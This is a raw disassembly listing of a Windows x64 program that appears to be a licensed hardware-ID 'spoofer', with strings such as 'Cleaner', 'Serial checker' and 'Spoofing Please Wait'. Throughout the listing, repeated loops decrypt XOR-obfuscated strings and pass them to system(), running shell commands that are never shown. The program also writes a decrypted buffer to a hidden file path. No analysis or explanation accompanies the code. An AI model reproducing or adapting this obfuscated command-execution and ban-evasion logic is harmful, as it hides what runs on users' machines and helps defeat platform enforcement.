lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x140062cc0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401028d0]
mov r8d, r14d
movups xmm1, xmmword [0x1401028e0]
movzx eax, byte [0x140102960]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x1401028f0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102910]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102900]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102930]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102920]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140102950]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102940]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov byte [rbp + 0x10], al
cmp r13d, 2
jl 0x140062ebd
mov r15d, dword [rbp + 0x50]
lea r12, [0x140000000]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rcx, [rbp + 0x6c]
mov dword [rbp + 0x6c], 0x43b90000
mov dword [rbp + 0x70], 0x43820000
call fcn.140033d30
movaps xmm1, xmm14
mov ecx, listen
call fcn.140030110
lea rdx, [rbp + 0x74]
mov dword [rbp + 0x74], 0x43660000
lea rcx, str.Cleaner
mov dword [rbp + 0x78], 0x42000000
call fcn.1400504d0
test al, al
je 0x14006954e
movups xmm0, xmmword [str.RGAX]
movups xmm1, xmmword [0x1401039e0]
movups xmmword [rbp + 0x490], xmm0
movups xmm0, xmmword [str._g0e_do___qp1]
movups xmmword [rbp + 0x4b0], xmm0
movups xmm0, xmmword [0x140103a10]
movups xmmword [rbp + 0x4a0], xmm1
movups xmm1, xmmword [0x140103a00]
movups xmmword [rbp + 0x4d0], xmm0
movups xmm0, xmmword [0x140103a30]
movups xmmword [rbp + 0x4c0], xmm1
movups xmm1, xmmword [0x140103a20]
movups xmmword [rbp + 0x4f0], xmm0
movups xmmword [rbp + 0x4e0], xmm1
cmp r13d, 2
jl 0x140069141
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x494]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x70
jl 0x140069040
jmp 0x140069181
lea r9, [rbp + 0x490]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x70
jl 0x140069150
lea rcx, [rbp + 0x490]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140103a40]
movups xmm1, xmmword [0x140103a50]
movups xmmword [rbp + 0x490], xmm0
movups xmm0, xmmword [0x140103a60]
movups xmmword [rbp + 0x4a0], xmm1
movups xmmword [rbp + 0x4b0], xmm0
movsd xmm0, qword [0x140103a70]
movsd qword [rbp + 0x4c0], xmm0
cmp r13d, 2
jl 0x140069311
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x494]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x140069210
jmp 0x140069351
lea r9, [rbp + 0x490]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x140069320
lea rcx, [rbp + 0x490]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140103aa8]
mov r8d, r14d
mov dword [rbp + 0x4c0], eax
movzx eax, word [0x140103aac]
mov word [rbp + 0x4c4], ax
movups xmm0, xmmword [0x140103a78]
movups xmm1, xmmword [0x140103a88]
movups xmmword [rbp + 0x490], xmm0
movups xmm0, xmmword [0x140103a98]
movups xmmword [rbp + 0x4a0], xmm1
movups xmmword [rbp + 0x4b0], xmm0
cmp r13d, 2
jl 0x1400694f7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x494]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x1400693f0
cmp r8d, 0x36
jge 0x140069541
movsxd rax, r8d
lea r9, [rbp + 0x490]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x140069510
lea rcx, [rbp + 0x490]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x54]
mov dword [rbp + 0x54], 0x43020000
mov dword [rbp + 0x58], 0x43960000
call fcn.140033d30
lea rdx, [rbp + 0x5c]
mov dword [rbp + 0x5c], 0x43eb0000
lea rcx, str.Serial_checker
mov dword [rbp + 0x60], 0x42000000
call fcn.1400504d0
test al, al
je 0x140069edf
mov eax, dword [0x140103ab0]
mov r8, 0xffffffffffffffff
movups xmm0, xmmword [0x140103ab8]
movzx edx, word [0x140103ab4]
movzx ecx, byte [0x140103ab6]
movups xmm1, xmmword [0x140103ac8]
mov dword [rbp + 0x3a0], eax
mov eax, dword [0x140103ae0]
xor byte [rbp + 0x3a1], 0x32
xor byte [rbp + 0x3a2], 0x33
xor byte [rbp + 0x3a3], 0x34
mov dword [rbp + 0x3f0], eax
movzx eax, byte [0x140103ae4]
mov word [rbp + 0x3a4], dx
xor dl, 0x35
xor byte [rbp + 0x3a5], 0x36
movups xmmword [rbp + 0x3c8], xmm0
mov byte [rbp + 0x3f4], al
xor eax, eax
movsd xmm0, qword [0x140103ad8]
xor cl, 0x37
movsd qword [rbp + 0x3e8], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0x3b8], rax
lea rax, [rbp + 0x3a0]
mov byte [rbp + 0x3a6], cl
movups xmmword [rbp + 0x3d8], xmm1
mov byte [rbp + 0x3a0], reloc.WLDAP32.dll_Ordinal_50
movups xmmword [rbp + 0x3a8], xmm0
mov byte [rbp + 0x3a4], dl
movups xmmword [rbp + 0x400], xmm0
mov qword [rbp + 0x410], r14
mov qword [rbp + 0x418], r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140069660
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x400]
call fcn.14005a2e0
lea r8, [rbp + 0x400]
lea rdx, [rbp + 0x3a8]
lea rcx, [0x140123a00]
call fcn.140004d80
xor edx, edx
lea rcx, [rbp + 0x508]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x3f4], 0
je 0x140069851
mov r8d, r14d
cmp r13d, 2
jl 0x140069807
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x3cc]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x140069700
cmp r8d, 0x2d
jge 0x140069851
movsxd rax, r8d
lea r9, [rbp + 0x3c8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140069820
lea rax, [r12 + 0x1018b8]
lea rcx, [rbp + 0x5a8]
mov qword [rbp + 0x500], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or r15d, 1
lea rdx, [rbp + 0x508]
xor r9d, r9d
mov dword [rbp + 0x50], r15d
xor r8d, r8d
lea rcx, [rbp + 0x500]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x500]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x500], rdi
mov rax, qword [rbp + 0x500]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4fc], edx
lea rcx, [rbp + 0x508]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x584], 0
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x508], rax
mov byte [rbp + 0x579], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1401250c0]
lea rcx, [rbp + 0x3c8]
mov edx, Ordinal_35
mov qword [rbp + 0x588], r14
mov qword [rbp + 0x57c], rax
mov qword [rbp + 0x570], r14
lea r8d, [rdx + 0x1e]
call sub.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_
mov rbx, rax
test rax, rax
jne 0x14006994f
mov rax, qword [rbp + 0x500]
lea edx, [rbx + 2]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x500]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x140069a58
lea rcx, [rbp + 0x508]
mov byte [rbp + 0x584], 1
mov byte [rbp + 0x579], 0
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
lea r9, [rbp + 0x300]
mov qword [rbp + 0x310], r14
lea r8, [rbp + 0x318]
mov qword [rbp + 0x318], r14
lea rdx, [rbp + 0x310]
mov qword [rbp + 0x300], r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0x300]
lea rcx, [rbp + 0x508]
mov r8, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x310]
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov rax, qword [0x1401250c0]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x57c], rax
mov qword [rbp + 0x588], rbx
mov qword [rbp + 0x570], r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
mov rcx, rax
call fcn.1400086a0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x140069a1f
mov qword [rbp + 0x570], r14
jmp 0x140069a33
lea rcx, [rbp + 0x508]
mov qword [rbp + 0x570], rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rcx, qword [rbp + 0x258]
test rcx, rcx
je 0x140069a58
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140069a58
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
cmp byte [rbp + 0x3f4], 0
jne 0x140069c01
mov r8d, r14d
cmp r13d, 2
jl 0x140069bb7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x3cc]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x140069ab0
cmp r8d, 0x2d
jge 0x140069c01
movsxd rax, r8d
lea r9, [rbp + 0x3c8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140069bd0
mov r8, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x500]
mov rdx, qword [rbp + 0x3a8]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x508]
call fcn.140006f00
test rax, rax
jne 0x140069c52
mov rax, qword [rbp + 0x500]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x500]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xor r9d, r9d
lea r8, str.WARNING
lea rdx, str.Opening_serial_checker_may_crash_this_process.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x140103b10]
mov r8d, r14d
mov dword [rbp + 0x448], eax
movzx eax, byte [0x140103b14]
mov byte [rbp + 0x44c], al
movups xmm0, xmmword [str.r_bocXSWNIgSZ]
movups xmm1, xmmword [0x140103af8]
movups xmmword [rbp + 0x420], xmm0
movsd xmm0, qword [0x140103b08]
movsd qword [rbp + 0x440], xmm0
movups xmmword [rbp + 0x430], xmm1
cmp r13d, 2
jl 0x140069df9
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x424]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x140069cf2
cmp r8d, 0x2d
jge 0x140069e41
movsxd rax, r8d
lea r9, [rbp + 0x420]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140069e10
lea rcx, [rbp + 0x420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [rbp + 0x500]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x500], rdi
mov rax, qword [rbp + 0x500]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x4fc], edx
lea rcx, [rbp + 0x508]
call fcn.140006460
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x3a8]
test rcx, rcx
je 0x140069edf
mov rdx, qword [rbp + 0x3b8]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140069eda
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006a061
call fcn.1400b79bc
cmp dword [reloc.WS2_32.dll_closesocket], 0
jne 0x140069f01
xor r9d, r9d
lea r8, str.Spoofing_Please_Wait_
lea rdx, str.Once_done_another_messagebox_will_appear_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x9b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
call fcn.140025540
call fcn.140025540
call fcn.140025ac0
mov rcx, qword [0x140123928]
mov r9d, 3
mov dword [rsp + 0x30], r14d
xor r8d, r8d
movss dword [rsp + 0x28], xmm9
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140123928]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140069f88
call fcn.140030190
call fcn.140027cb0
mov rcx, rax
call fcn.14004b5a0
mov rcx, qword [0x140123928]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x220]
test dword [rax], 0x400
je 0x140069fa5
call fcn.140035f20
xor edx, edx
xor ecx, ecx
call fcn.140030da0
mov rcx, qword [0x140123928]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r14
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140069ffe
mov rcx, qword [0x140123928]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140069ffe
call fcn.14004b3e0
mov rcx, qword [0x140123928]
lea rdx, [0x140123930]
mov rax, qword [rcx]
call qword [rax + 0x80]
call fcn.14004afa0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006a068
mov edi, dword [0x140124a40]
lea r15, [0x140123cf0]
mov rsi, qword gs:[0x58]
mov ebx, 0x13b0
cmp dword [rbp + 0x648], 0x12
jne 0x14005c5f0
jmp 0x14006a072
xor r9d, r9d
lea r8, str.Plasma_Error
lea rdx, str.This_Key_isnt_correct.._
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
